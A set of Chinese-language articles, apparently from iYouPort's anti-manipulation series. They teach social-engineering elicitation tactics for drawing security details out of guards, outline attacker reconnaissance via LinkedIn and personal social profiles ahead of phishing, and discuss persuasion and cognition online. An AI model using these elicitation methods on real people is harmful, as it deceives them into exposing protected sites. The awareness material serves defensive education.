相反，应该将恭维从个人特征和外观转向更多物质性的事物，例如，鞋子、手表、公文包、眼镜、皮夹，简单说就是你不应该评论目标人本身，而是要抓住目标人拥有的东西去赞美，不论是能力还是物质品味，不论是眼光还是理想计划。

2、虚假陈述

这种策略涉及故意的虚假陈述，希望目标能够用准确的信息来纠正你——很多人都有显摆自己“知识”的倾向性，当听到错误的描述时他们往往坐不住，想要立即纠正你。这就是社交工程师的机会。事实上我们描述过这一策略，见下图：

「图」

「图」

举个例子：“我听说他们的大厅里有十七个摄像头，十二个警卫，还有指纹扫描仪。他们说那个地方就像诺克斯堡！没人能进得去。“——这种策略的关键是要包含细节并大大地夸大场景。在此情况下你的目的是了解大厅中究竟有多少个摄像头，所以，请务必夸大数字。

不要简单地说大厅里有几个摄像头。你的目的是让目标人通过陈述正确的数字来纠正你。如果有人正在宣讲不正确的信息，例如摄像机的数量，那么当其他人知道无可否认的真相时，纠偏的那一部分人性就会被调动起来。人类的行为特征是该策略的核心，也正是我们想要抓取的。

值得一提的是，如果虚假陈述太接近现实，那么目标就可能觉得没有义务纠正你。再次强调，关键是要夸大细节！以便刺激目标感觉有必

要纠正你的描述。

3.人工无知

如前所述，虚假和夸张的陈述对人类行为能起到明显的刺激作用，引发纠正错误陈述的反应。以同样的方式，人类具有教导和教育他人的内在愿望。于是，社交工程师经常使用人工无知来假装自己对某个主题缺乏经验，以便激发目标教育别人的欲望。

举个例子比如这样，“我对运动探测器一无所知，但我敢打赌警察经常使用这种东西。我听说他们连落叶都能准确探测到，好可怕。“

教导别人的内在欲望尤其值得注意，你要利用那些对目标来说具有亲和力的主题，就能增加他或她将被迫教育你的机会 — — 还是我们曾经一直强调的：你需要首先了解你的目标人，了解他们知道些什么、对什么感兴趣。

融合上述的*启发*策略会能增加成功的机会。根据经验，结合奉承战术和人工无知已被证明是非常有效的。两者作为启发策略可以非常好地相互配合。

提升自我可以让人们更容易打开话匣子。一个健谈的目标对于社交工程来说是一个极好的目标 — — 你说得越多，泄漏的东西就越多。这种方法还可以在社交工程师和目标之间创造一种*相似性* — — 而相似性是影响他人的最有力工具。

4. 共情

不是一般的那种自然的共情，它是一种策略，因为它是假的，是故意制造出来的气氛。这种策略利用人类倾向于吹嘘或抱怨自己的感受。

当一个人将自己的感受传达给另一个人时、甚至是完美的陌生人时，就会借助情绪创建出极为亲密的心理关系。因此，他或她可能会因此放弃更多信息，被社交工程师所利用。

成功利用共情策略的关键是要专心，耐心地倾听并共鸣目标人的感受。

这是一个常用的探测人性的策略。一个优秀的社交工程师完全可以为目标人的吹嘘或抱怨创造一个“安全”的环境。一种方法就是表达体察目标人的所有感受，无论是积极的还是消极的。这便可以在社交工程师和目标人之间建立心理联系。社交工程师将自己描绘成一个永远不

会再见面的人 — 也就是一个私密的树洞，就能创造这种安全的环境。

结果就是，它减少了目标对陌生人的否定判断的可能性，反过来又增加了目标额外的披露信息的机会。从本质上讲，它发出一个信号，表明没有“无论你说什么，离开这张桌子后就没有任何人再记得这些”。

这一战术的根源是首先做一个出色的倾听者。这说起来容易，但是做起来很难。社交工程师必须经常采取肢体语言进行眼神接触，通过心理暗示强调“我能深刻地理解你的感受，我们在一起很安全“。

其次，表达同意目标的想法、并通过分享您自己的类似经历经验，都可以加强目标继续畅谈的信心。

5. Bracketing

社交工程师使用这种策略是为了从目标获取更精确的信息。为了实现这一点，社交工程师会给出非常高或非常低的近似值，以试图诱使目标人用更具体的数字作出响应。

例如，如果这场行动的目的是了解大厅内布设的运动检测器的数量。社交工程师可能会对目标这样说：“我猜他们在安保工作方面很警惕。我认为他们的大厅里最多有五个动作探测器。“事实上有三十个。

因为我们遇到的大多数保安人员都喜欢抱怨或吹嘘他们自己所保护的环境，而他们中的大多数人都倾向于对他们所保护的环境感到自豪。因此，他们喜欢谈论相关安全性的问题 — — 这就是一个勾子。

如果你的目的是要了解作为安全防护装置的运动探测器的数量，那么调动安保人员的自负就是一个捷径 — — 你可以故意低估运动检测器的数量，这样就能触发他们的骄傲以纠正你！既然你已经牵引住了对方的自我，下一步就可以利用*启发*术来让他们进一步多说。

好啦。需要说明，以上绝不是全部！它们只是最常用的一些策略，您需要通过更多的练习以获得经验，从而摸索出其他实战技巧。

请不要对亲友熟人使用这些方法！除非您确定您的目标是正义的。我们提供这些知识是在支持正义的行动者，而不是培养狡诈的骗子。〇

广告

原文

一个人的疏忽将拖累所有人陷入危险 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本自我保护措施-技术技巧以防身

如果您未能解决团队成员的社交媒体习惯和在线卫生问题，将肯定会不必要地承担巨大的安全风险。只要有一个人不够注重安全，你们团队中所有人都将面临威胁。

「图」

「图」

我们在网络安全方面的口号—我们一遍又一遍重复着的口号—就是这样的：用户是最薄弱的环节。但我想知道，它是否已经由于碎嘴子而失去意义？

对过去几年来的无数次重大侵犯行为的解析结论是显而易见的：攻击者追逐的是用户和零日。即使粗略地浏览一下暗网，也可以看出，信誉良好的消息来源和那些寻求攻击的人提供的 Zero Day bug 奖金之间的差距是多么的巨大，详见《可怜正义没有钱》。然而，凭据的攻击能力更强大，来得更容易，可怕的是，组织和团体仍然没有能教会他们的成员安全使用互联网的习惯。

任何威胁组织的社交工程部门人员通常都是通过监视人们在 **Facebook**，**LinkedIn**，**Instagram** 和其他社交平台上定期分享的信息，来找到他们所需要的东西的。这有助于他们制定针对性的和精确的攻击。你真的不用指望那些企业能关心你的安全。

你应该知道，这一间谍步骤的执行速度究竟有多快。

只需在 LinkedIn 上找到一个指定联系人的组织。然后交叉引用 Facebook 或 Instagram 或 WeChat 或微博上的个人资料，在那里，很容易利用宽松的隐私设置来收集到有关出生日期、亲属姓名、宠物、休闲时光甚至具体地点的信息。然后发送武器化的

name.surname@targetorg.com 来发动攻击。假设已经构建了有效载荷，则针对每个目标的整个过程大约只需要十分钟。

惊人的效率，并具有惊人的高命中率。

随着用户越来越多地将自己的个人生活细节在越来越“不卫生”的社交网络上更加充分地暴露，组织和团队需要认识到，这会带来真正的危险。

至今仍然只有很少的用户知道 Facebook 等应用程序中最基本的隐私设置，或者面向公众的个人资料图片可以产生有关个人的有价值信息有如此高危险性的概念。这是更大的恐怖。

浏览互联网，很简单你就可以看到，对错别字、政治立场、他们选择表达自己的方式、对语言模式的容忍度—以及，他们的二级和三级联系人的个人资料也可能有类似的暴露性设置。即使是在其个人资料图片上存在安全意识的用户，也可能没有意识到其他危险。

如果以上这些任何部分这听起来像跟踪，不要搞错—犯罪团伙不关心跟踪，他们要的是了解你从而制定最有效针对你的攻击方案。他们将使用可用的任何信息来访问您的资源，社交媒体是最丰富的资源库。

你想反击吗，其实很简单，只需要为您的成员进行一小时的培训。包括一些关于隐私缺乏关注造成巨额损失的硬案例材料，您将可以做到大幅度减少风险状况。

即使是看似微不足道的行为纠正也能获得明显的安全回报。如果用户停止在 LinkedIn 和 Facebook 之间共享个人资料照片，那将大大降低社交工程师的进攻速度。确保将所有新的 Facebook 个人资料图片的默认公共设置改为“仅限朋友”，或限制某个帖子避免“朋友的朋友”作为可见性—这些简单的方法都有助于降低风险。

删除封面照片，限制过去帖子的可见性或确保 LinkedIn 上的推荐仅对专业联系人可见，会有同样的作用。至今依然只有很少的人能够做到这一点，以至于政府的间谍和其他犯罪分子可以轻松地窃取他们的宝贵数据。

社交媒体帐户上的弱安全设置对黑客来说实际上是一张金牌。资源充足的社交工程师可以发现足够的信息，以便在您的队友中发起针对性的攻击。攻击者不仅可以立即进入您的关系网开始渗透运作，而且还可以获得有关凭据的重要线索，这些凭据可以让他们在入侵后进行操

作。

现在想象一下，你是犯罪团伙工资单上千名左右真正的精英黑客之一——甚至是受雇的独狼—就是能更快速展开攻击的人。您的中级用户在线共享了令人难以置信的个人详细信息，你就可以轻松地引用特定个人详细信息实施有效的网络钓鱼攻击。

如果您没有专门针对这些用户的社交媒体习惯和卫生问题展开培训，您的受攻击面就会随着风险状况呈指数级增长。解决这个问题的培训不一定是繁重的任务，如果您长期关注 IYP 的内容就能轻松掌握防御技巧。

这句话真的值得重复：用户是最薄弱的环节。我们不能让这句话的分量由于被重复而被稀释。

详细知识：《破坏者的智慧》分为5个部分——

1. 有缺陷的代码和软件漏洞都不难修补，但是，社交工程欺诈是非常难以预防的，因为人性弱点无法修补。即使是最精明的人也可能被欺骗……那么该怎么办？《拯救人性的 Bug》

- 搏击俱乐部规定第一条：不要谈论搏击俱乐部！《击败骗局—9个防御技巧》
- 足迹可以向攻击者暴露形成组织安全状态的整体概况。攻击者通常通过哪些步骤来获得目标的情报《你的足迹非常危险》
- 很多噩梦只是由于你曾经在社交网络上说得太多了。这绝不是危言耸听。我们警告过政府当局如何利用社交媒体上人们下意识透露的信息针对性地进行间谍活动，于是您应该知道《哪些话你不应该在社交媒体上说》
- 搜索记录是很可怕的东西，你需要了解至少是《如何删除您的 Google 搜索记录》

If you fail to address the social media habits and online hygiene of your employees, you're unnecessarily taking on a huge security risk. It bears repeating: Users are the weakest link. Let's not let that phrase be diluted by repetition.

原文

交流出现了什么问题（上）为什么总是难以说服他人？ - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

理论是低效的，理论者们拼命地证实自己的正确，其实并没有带来什么实质性的影响，以至于每次遇到同样的问题时都要重复一遍某个观点，最后变成了本人的直觉触发

「图」

「图」

不论是网上舆论场还是线下生活中，我们总会遇到那些看起来自以为是的人在反驳我们自以为的正确，这令沟通很难提效，最终往往导致阵营内部分化、共同体原子态和加倍封闭。于是人们为了维系情感而选择更少去沟通，独立表达和回避不同意见，这又使得我们各自的既有认知难以优化提升，联合无法形成。

为什么人们总是认为自己是正确的，即便口头没有反驳，内心也不会接受不同意见，于是不同意见永远都是不同意见，稍有差异的理念碰撞后都难以促成共进，难道谁可以做到一贯正确永远正确？恐怕没有。至少每一个形容词都来自于比较，正误也一样，它要在固定条件下、语境情境内存在，而社交网络的表达因其各种方面的不同于现实而制约了论述的充分性，沟通的物理困境也由此而来，这点将下一篇中具体论述。

本文主要分析一下，理论何以低效、为什么总是难以说服他人。首先需要了解的是，人们的认知是怎么积累起来的。

我们总在强调逻辑、呼吁不断深化的思考，却从来没人关注过，我们思考的是什么？或者说，是什么才能触发思考。也就是认知的由来。

互联网时代信息轰炸，每时每刻都能接收到大量的信息，其中不乏互相对立或者存在微妙区别而导致指涉大相径庭的观点，我们需要在最短时间内迅速选择信任或者不信，这种情况下理性是不存在的。主要

是靠感性（直觉）。

曾经有千余年来，西方哲学一直崇拜理性，怀疑激情，认为它是错误之源。从柏拉图开始，延续到康德，再到劳伦斯·科尔伯格。这种崇拜的论调被称之为唯理性错觉。之所以叫它“错觉”，是因为当一群人都认为某件事是神圣的，尤其是这些人本身都携带着足够大的权威性，那么社会群体的成员就很容易失去清醒思考的头脑。不过终有一天神像会被推翻，在认知心理学中推翻这一神像的人就是休谟，他说：理性只能是激情的仆人。

从此研究者开始关注情感和理性的关系，也就是心灵和头脑的关系。人们发现，即便是在纯粹的分析和组织型任务中，也频频发生决定机制瘫痪的情况。如果激情死了，理性还有没有能力去维持家业？

结论是否定的。就如休谟的观点，情感是道德和认知的基础。认知心理学与情感进化并不相干，因为它研究的是推理和信息处理的发展。

人们通过视觉、听觉等感官来接受信息，这种感官认知属于低层次认知，它可以作为研究高层次认知（比如政治思维）的较好模型。低层次认知大部分是以快速的、无意识的模式匹配来运作的，比如我们对铺天盖地的观点和信息迅速判定是否取信，其实凭借的是图式而不是思考。低层次认知本身并没有什么道理，有时还会欺骗你。

「图」

「图」

想验证这点最经典的方法就如穆勒莱尔错觉图，那是眼睛带来的骗局。有趣的还不止于图片本身，更有被试在判断后的反应。如果人们一开始便被权威人士告知了真相（两条线是一样长的），那他们也能解释得头头是道。但如果让他们自己去看，往往会发生错误，且根据错误的结论，一样可以解释得头头是道，和正确的时候保持着一样的自信。于是研究者得出结论：判断和论证是两个分离的过程。

在接受了判断（依靠大脑中无意识的认知机制产生的判断，有时正确有时错误），之后人们再制造出能够支持其判断的基本理由。但这些基本理由仅仅是马后炮，有时还会牵强附会。

本网在早前介绍过图式的概念，直觉型认知就是图式的一种，也就是模式匹配——对新生状况与经验模型做以对比，是一种最基础的认知习惯。比如对政治观点，人们会首先去感受其带来的暗示和自己的基

础预期（情感）是否吻合，有偏差者便会从基础上被放弃，也就无法进入思考阶段。于是说服所形成的改变需要着力于对其情感的左右，以形成图式更替，而不是施展逻辑和学术造诣。

与之相对的是推理型认知——个体描述自己如何做出判断、或他人如何做出判断的过程。脑中推理只有在人类中发生，因为人需要向他人解释自己。推理不是自发的，它是有意识的，也就很容易被意识负担所打扰。直觉发动了推理，但直觉不依赖于推理的成功或失败。然大多数研究都针对于推理，而非直觉。

直觉属于情感，它是一种信息处理，把情感和认知对立起来是不科学的。

认知—情感二分法曾经流行过很久，似乎如今仍有被误信。其实情感中充满了认知。情感是逐步建立起来的，它的第一步就是，看看刚出现的某事物是促进了还是阻碍了你的目标，基于此对它进行评价，这样的评价正是一种信息处理，属于认知范畴。

当某一评价过程检测到特殊的导入类型时，它会启动你头脑中的一系列变化，让你准备做好恰当的反应。比如夜晚你走在幽暗的街道上，忽然听到有脚步声接近，这时候恐惧系统会打开触发交感神经，加快心率、放大瞳孔，以接收到更多信息，迅速做出“打，还是跑”的判断。再比如在社交网络上看到与自己主张严重相悖的意见，会激发出反驳还是拉黑的选项。最终的处理是以那一时刻的利益最大化目标为基础的，比如反驳可以彰显自己的正确，而拉黑可以节省时间，如果那一时刻你很疲惫或者事务繁忙，很可能就不会去回应。

反过来看，如果我们希望在社交网络上形成观点切磋，便需要首先吸引住受众（满足回应所需要的利益），要实现这点很多时候并不仅仅在于个人观点的正确。

政治观点中充满着道德判断，道德判断和所有形式的判断一样，是一种认知的过程。关键的区别在于上述这两种不同的认知：直觉和推理。道德情感属于一种道德直觉，只不过比大多道德直觉更加微妙，它们会不断上升到情感的层次。

比如对马永平、陈水总等人的判断，或者对反抗压制的维族人群体事件的判断，认为他们在「杀戮无辜」的人采取的就是直觉型情感认知，他们常用的自证逻辑是对反驳者表示：你支持他们是因为死伤者里面没有你的亲友（意为：你站着说话不腰疼）。这种观点不一定就是五毛。相比下，自焚抗争（或其他形式的自杀式抗争）因没有伤害

到他人的利益而更多被同情。做个对比，就如那个经典的伦理实验——电车困境，是杀一个人救活五个人更好，还是为保护一个人杀死五个人合适？最初的直觉反应更多是会选择杀一个人保护五个人。而这一个人也不该死的判断则处于进一步的推理过程。

类似事件中官方媒体总会有意去渲染「另外五个人是无辜的」这一思路，同时也就屏蔽了「那一个人同样无辜」以及「是什么造成了那一个人的极端行为」这俩关键。我们总说政府机构的公信力低下，其主张的舆论引导不足挂齿，但需要提醒的是，措辞方面的暗示之所以经常难以被察觉，是因为人们的判断首先选择的是直觉，只要舆论引导切中基础人性的直觉，其被认可收纳（误导）就是自然而然的。

我们一直推荐远离墙内不正常的舆论环境，其主要理由之一就是上述，人类的脑系统并不如自己所认为的那般发达，更不可小视的是人们对权威的感应，很多潜移默化的影响不会被立刻感知到。心理操控其实不是什么顶级高明的技巧，何况长期加大量的灌输，这些本网在早前都有过分析。

此外，标签也是一种来自直觉的认知，比如离职的大陆媒体人到外媒工作，最初会难以被信任，除非其本人在各方面展示出卓越的能力。其实并不是不信任这个人，而是不信任陆媒普遍的能力（给陆媒或者说给自我审查经历者贴上了标签）。在未知情况下，人们更倾向于在既有认知中寻找可匹配性的图式，不会介意牵强或者关注特例的存在，这点也是很多问题的理解被变质、偏离原有主题的关键原因。最典型的就如恐袭，被变质为穆斯林恐惧症，还有地图炮或者其他形式的歧视。

脑中推理是可控过程，情感、直觉和所有形式的“认出”是自发过程，自发过程操控人类意识，这是一种进化。相反，推理的进化是出于它做出了对自发过程有益的事。

可控的推理有更远的预见力可以帮助眼下的直觉认知做出更好的判定。更重要的是，推理能做为直觉的代言人，虽然它并不那么了解直觉。推理很擅长对直觉加以解释，也精通为直觉下一步要做的事进行辩护。人们发展出了语言能力并开始互相说长道短时，背上一个全天候的公关公司，对做为本能的直觉就非常重要了。

反过来看就是，人们总是会坚持自己是正确的（坚持既有认知），而不轻易改变它们，反驳却往往会加固这种坚定，正是因为推理在做直觉的公关工作。比如左图，这是一位少妇还是一位老妇？当第一眼看成是少妇的人，会较难发现老妇的形象，反之亦然。曾经见过这张图

的人例外。如果我直接告诉你这画的是一位少妇，对老妇的质疑就会降低，反之亦然，如果我带有足够的权威，这种效应会更强。

「图」

「图」

中文社交网络上至今有很多人误会理论陈述对影响和带动的能力，觉得自己说的够明白了，对方就会信任自己，从而改变观点和认知。其实很可能并没有。

之所以看起来像是被影响了，不过是接收者对发布源本身产生了基于情感的认同。这种直觉型认同会来自于比如线下的交往、线上发布者的个人魅力展示（语言风格、人气指数、亲和度，甚至包括对热点的高时效介入），此外还有传播心理，其中包括名人效应（传播名人观点被认为能提升自己的影响力）。在中国的网络管制生态下，还会包括渠道，比如对被删除的内容直接取信、对外网更多取信等等。

真正的的认同是理解基础之上的。判断这点很简单：转发者能否对转发内容加以解析，是否可以与观点发布者形成有价值的切磋，否则便是没有达到理解的程度，脱离发布者后相关问题依旧不能自行解决，基础影响预期也就不会由此扩散。

所以我说，理论是低效的，理论者们拼命地证实自己的正确，其实并没有带来什么实质性的影响，以至于每次遇到同样的问题时都要重复一遍某个观点，最后变成了本人的直觉触发——遇到就说，总是同一套理论，不会去继续思考旧有的理论是否完全适合新生的情境；遇到提问者就骂，因为已经重复得很疲惫了，不会去考虑提问者为什么会提问、既有观点是否真的永远不需要再深化丰满、当初的表达和传播是否存在问题……受众也形成了一种直觉图式，遇到类似状况时就去转发某人、不必思考不用切磋。

情感带来认知、认知指导行为、行为发生后进一步强化相关认知。你很难用逻辑和理论去说服他人，源于人类认知形成的特点。了解认知形成的真实过程，不仅能帮助你更好的掌握自己的可控型认知，也能更便于在沟通中提升效率。

——未完待续——

广告

原文

交流出现了什么问题（下）来，实现沟通 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

争辩的任何一方都不是通过完整纯粹的推理得出其信条的，那么对任何一方的逻辑抱以期待、希望它能促使人们去信奉更合理的原则，都将是一场空。

「图」

「图」

人们一生都在致力于友谊和影响他人，道德推理是人们努力的关键部分之一。也正因此，我们要强调直觉在先，策略性推理在后。以为人们进行道德推理是为了寻求真理的理解是错误的。

因此，如果你想改变某人的观念，那么就要试着跟直觉去沟通。因为你需要让对方去相信违背他们直觉的东西，他们一定会拼命找各种借口来捍卫自己的直觉，也就是找到理由去反驳你的理念，他们总是会成功的。

我们的文化认定直率为美，但沟通技巧并不是要你去狡猾，它只是打开认知优化渠道的必经之路——每个人都不是完美的绝对正确。继续前文的话题，本文再增加些实例。

观点的改变很难 但说服和影响是切实有效的

双路径模型展示了直觉先行。推理通常在判断形成之后才做出，其目的是影响他人，但在讨论过程中，他人给出的理由有时也会改变我们的直觉和判断。后者就是说服，其生效则来自于说服的技巧。

「图」

「图」

这一模型后来被慢慢进化（如上图），首先就是减弱了从推理到判断的箭头，将其降为一条虚线（连线5），虚线的意思是，单独由推理得出的判断在理论上是可能的，但在现实中是罕见的。这一微小的改动将该模型转换成了一个休谟式的模型，其中道德判断（连线1）的主要源头是直觉（而非推理），且推理过程通常紧随判断（连线2）之后形成事后辩护。理性是直觉的仆人，它是在服务于直觉。

人们总是会极快的做出第一判断，从而害怕找到那些与初始判断相悖的证据。但身边的朋友可以对我们形成挑战，给我们提供观点和理由，收听他人有时可以形成新的直觉，并因此而改变主意。从一个全新的角度看待事物或者形成一种新的观点，就如上图中的连线6，代表了一种反省的过程。但对绝大多数人来说，如果没有他人的推动，改变某一想法的状况很难经常出现。上图模型之所以将反省画成虚线，正因为它在现实中很少存在。

许多人都相信遵循自己内心的想法和认知指针是牢靠的，但社会心理学的历史充分证明了他人具有强大的力量，它甚至不需要向我们出示任何理由或证据，就能令残忍变得可接受，令无私行为变得尴尬。我们总是在想办法避免被他人影响，但影响无处不在，问题不在于如何避免，而在于如何对其进行最佳的理解和运用，以有助于自身。

我经常提醒，认知和道德感不是依靠教育灌输得来的，而是社会示范和文化传统下的成长经历所自然形成的判断模型，与政治体制存在高度相关，独裁封闭政体下的社会人即便读很多书也可能难以道德化自身行为，除非本人社会经验缺乏。但社会经验不足也会被相关价值观认定为弊端，反过来作用其去接受社会惯例。

社会直觉认知模式为很多令人沮丧的道德和政治争议提供了一个解释：理性是自觉这条狗的尾巴，狗摇尾巴是为了交流，但你无法强行摇动狗尾巴来让狗高兴，你也不能通过彻底的驳倒他人观点来改变他们的主张。

如前文分析，争辩的任何一方都不是通过完整纯粹的推理得出其信条的，那么对任何一方的逻辑抱以期待、希望它能促使人们去信奉更合理的原则，都将是一场空。

给思路强过给结论

还是表达方式问题。直接去告诉他人“你应该往这方面想”是最糟糕的沟通方式，您可能觉得自己从没说过这样的话，但您使用的措辞带给听者的印象就是在要求服从。这是沟通的大忌，即便再正确的观点也

难以形成影响。

较高效的方法是直接展示思路，而不是下结论，用思路本身的别具一格和持续足够长的时间以形成视角风格。比如右图（文中图）这个微信标题：「胆真大！白岩松看中国…很快被删除」，不必看文章，只看标题透露的信息就很多，能显示出大陆舆论场的注意力特征。

因为标题的目的就是为促成点击，所以被热传的文章标题都是能切中舆论兴趣点的。这个标题体现出舆论场三种特征：1、表达的自我审查。由于摸不到审查红线，自我审查总会比审查更为苛刻，于是经常会觉得正常的表达都属于“胆真大”。2、白岩松的影响力依旧不弱，也就意味着正面反对群体过往的努力表达效力仍不足。文章作者和转发者即便明知在“不得妄议”的枷锁下体制内人士的言论全部会在红线之内，出于权威效应还是会下意识予以更多认同。3、对形式和渠道有明显依赖。「很快被删除」被用来标榜吸睛度并非新鲜事，来自于人们对大陆长期的网络管制和信息封锁的厌恶，激发出一种基于可视条件的筛选逻辑——获取成本越高，质量就越高。同样属于情感型认知，事实证明这个逻辑往往并不成立。

正面反对者会选择对白岩松的标榜去反驳，或者去抨击文中的观点，虽然都是路径，但却缺少实用性，且理论逻辑是最不容易形成影响的存在，其结果不过是车轱辘话。如果展示上述角度的思路，会能形成一种新意，关注者在频繁接触到同一目的的不同思路后，兴趣会激发出推理的主动，很快就会有更多的人开始自己去开发思路。

上篇中有论述，几乎任何一种影响都很难直接通过推理型认知实现，人们是在兴趣之下通过主动去挖掘理解而提升意识的。说服就是要促成这种主动性——由发布者展示出路径，接收者自己去探索，之后形成的认知便是为改变。

本网早前的文章多次提到实用性问题，有足够的调查可证，人们更希望知道的是怎么办，而不是怎么了。曾经有不少朋友给我留言表达大致相同的意思：时评枯燥千篇一律、有想法独立表述没必要搜索舆论等等。为什么大家会这样想？那些刷屏规模的友情转发价值何在？如果以为传播力度大就能带来足够的影响，很可能是没有领会认知形成的规律。如果您也有近似的目的，便不难理解这点。

这些年一直在鼓励更多大陆网民翻墙，于是注意到一个问题，越是援助、建议，对方越是觉得不翻墙才是正确的，随即便能给出很多逻辑顺畅的不翻墙理由。之后我改变了方法，在热点时段选取墙外部分具有吸引力的信息（不是全部）配以链接，效果会有所提升。但还是不

够，不同群体的口味各异，且选择性获取也带不来更多的墙外舆论。直到我不再去强调翻墙的重要性，只在偶尔展示一些墙外舆论场的精彩内容，身边却有更多的人开始翻墙注册Twitter了。

但并不代表我早前的广泛鼓励是无效的，我已经给出了一种存在，或者说声明了一个趋势，但认同需要个体通过自行感知去获得，也就是说服技巧的重点部分：把选择的权限交给对方。

再重复一次上文中提到的重点：给结论不如给思路。独裁者的灌输式洗脑都是直接给结论，用树立的权威来激发服从，不允许思考。又因为人们的认知建立在情感上，破解权威效应并不容易，所以反洗脑更有价值的是方法是给思路，而不是直接反驳，加上实用性，效果会更加，能令路径更清晰。一口气描出全景图有时会令接收者感觉复杂而放弃或否定，倒不如走偏锋，当带领到足够程度的时候，受众可以自行补充出剩余的部分。

中国式的政治正确表达有时需要一定程度的理想化，封闭状态加之传播心理作用，表达形式会趋向极端。也正因此，容易被有意反驳者利用来做攻击目标（每一种极端都在映射其反面、理想化往往会在结合现实时碰钉子），而正是反驳加深了被反驳者的坚定，看客根据直觉型认知去选取支持争议中的哪一方，结果就是原本同一目标的小矛盾变成的站队，而队形因为是情感维系的，又反过来加强了各自的直觉型认知。在非圈子型的微信群聊中这种现象非常常见。

观点服务于各种战略性目标，比如维持声誉、建立同盟，以及在频繁的日常纠纷中将旁观者拉来支持自己。分析者希望能超越人们在听闻流言蜚语或目睹骇人事件时所作出的第一判断，希望上述模型能解释那些意见互相接受的过程，一轮轮争辩之后人们有时会改变想法。现在关键的问题在于，如何促成这种争辩的习惯，也就是积极的对话。首先需要考虑的是，是什么阻碍了对话，也就是本系列第一篇的主题。

GFW是罪魁祸首，但并非万恶之源

信息封锁导致信誉难以融合，在推特实现的公信力带不到墙内，反之亦然。说服者的公信力直接关系直觉的建立，也就是认知的基础，在此方面看，墙就是罪魁祸首。

但躲入小圈子的舆论场被碎片化，人们在微信群聊里「呐喊」慷慨激昂，而海外媒体在抓取“中文网民意见”时被五毛大军误导……这些便与GFW关系不大了。在嘲笑外媒不懂中国的同时是否应该反思一下，

中文网络舆论场的有智之士们，你们的态度是否得到了足够的展示？

同时，习得性无助也不可忽视。在美国，一个棱镜门能引发全球轰动，但在中国，网络监控系统、相关解密文件曝光了不知多少次，最多也就掀起一阵短时间的转发刷屏，而后迅速被其他话题转移了注意力，用墙内应用的依旧在用，懒得翻墙的人仍旧不会来推特。

而另一个明显是谣言的消息说，某个链接在微信不能打开，否则会被吸走银行卡里面的钱，可笑的是帖子提供的链接是腾讯的官方域名，这是很容易看出来的，但还是有很多人相信，瞬间大量转发。甚至一整夜间十几万人解绑提现。

该现象证明微信的传播能力并非平日受众所感受的那般小圈子生态、闭塞，而是获取和传播的心理在左右人们对信息的选择。事关个人利益的消息传播速度很快，丝毫不逊全公开平台。不过，假设是关于网络监控或者网络审查方面的信息，同样关乎个体用户切身利益，相比下其关注者很可能寥寥无几。此事能说明两点问题：1、人们对周边环境和官方有深度的不信任；2、金钱比隐私安全等其他方面都更多被重视。

说服

一个劝说者的目标应该在传输出个人意见之前先传递平等、敬意和坦承交流的意愿，其令对方接受的目的才能实现。很明显这是有悖于很多人经验的理论，人们更愿意相信声高必定有理、责骂呵斥更显权威，但别忘了，姿态彰显出的权威性是没有被接受能力的，尤其是在实用主义者眼里，它只会激发对方更高一层次的自我正确性回击。

亨利福特曾经说：如果存在成功秘诀，那它只能是不分彼此地从他人角度去看待问题的能力。

这个道理虽然相当简单，但极少有人会将其运用到道德和政治的争论中，人们的正义之心很轻易地就变成了争斗模式。那些直觉和推理的完美配合、致力于反抗攻击，抛出犀利的言辞，这些过程给看客留下了深刻印象、向盟友表明我们是队伍中坚定的一员。但如果对手也处于争斗模式，不管我们的逻辑有多么的完善，都无法让他们改变观念。

如果你真的有意沟通，我建议你如上述那般去应用技巧。必然需要其中一方先放下威慑身姿，共情是正义感的解药，尽管跨越观念分歧来实现共情非常困难。

原文

交流出现了什么问题（中）网络舆论场的交流障碍和解决办法 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

知觉性理论认为一个行为者会假定对方了解自己的意图，从而高估自己对于对方的影响。是交流中的双方经常出现的问题。

「图」

「图」

上篇中分析了交流中为什么人们总是认为“我对你错”，本篇主要列举一下，如果希望在社交网络中文舆论场形成有价值的交流，当下会存在哪些阻隔。

沟通媒介和其对认知的影响

沟通主要有三种媒介：语言、肢体语言和情境。其中语言又有书面语和口语之分，它们综合起来就是人们获取完整信息的形式。但语言文字渠道只占据全部获取信息的三成左右，其余七成多都来自于肢体语言和环境。环境也能成为沟通的渠道并不奇怪，在不同的场合人们的心境会有微妙差别，即便双方没有任何交流，场域引发的心境变化也能带来一定程度上态度的改变。

技术作为交流和互动的媒介通常会产生意想不到的社会及心理影响。不同的物体或环境具有不同的特性、而不同的特性会导致不同类型的行为。互联网提供了一些新的互动模式，但用户也因此付出了一定的代价，例如在互动过程中会失去非语言的信息。

交流对象在互动中的突显性以及随后人际关系的突显性是交流媒介的一种客观性质，称之为「社会临场感」。它是媒介本身的一种特性，而不只是用户对交流媒介的反应。社会临场感缺失，言语通道就难以传递社会和人际的信息。功能不甚全面的社交应用就是低社会临场感效应。

网络中语言文字是主体沟通渠道，这便从一开始就阻隔了七成效果，为了便于亲近，人们更多使用口语来输入信息，以提升语言的沟通能力。但依旧效果不彰，尤其是中文，某个字眼是否读重音，其能指都会大相径庭，而理解的选择权往往会取决于信息的接收方对发布方的刻板印象。

不同的交流技术会提供不同类型的信息和反馈。声音交流和文本交流的心理影响的区别并不局限于传递的信息类型或数量，正如书写与交谈行为因截然不同而涉及不同的心理过程，这些心理过程与互动过程中传递的信息数量和质量的差异无关。很多人喜欢“隐蔽”在群组里交流，随后再将交流内容截取贴到公开平台上，其中就有私人群组的亲密性这个理由。可以更多使用表情、语音、图片等功能，微信还有红包功能，在物质社会里很便于调剂感情。这些都是人们即便了解了那么多的网络监控、网络维稳手段也不愿放弃微信的原因。

能在微信中畅谈的人群换到推特私信或者hangouts，很可能就会冷场，道理一样。互联网是人的关系，不是内容的关系，就如认知很难来自于推理，而是首先来自于情感。如果沟通的对方从根本上对发布源不认可或陌生，不论信息观点有多合理，接收者都会全力去反驳。即便自身没有足够的政治意识水平，最多是视而不见也不会去思考。所以理论启蒙是空中楼阁的路线。除非启蒙者自身带有足够抗衡当局发布源的权威性，在当下是难以存在的。能感染到的不过是周边既有的认同者，认知依旧来自于情感，于是无法形成广泛的动员。

表情制造临场感、成本左右简洁度

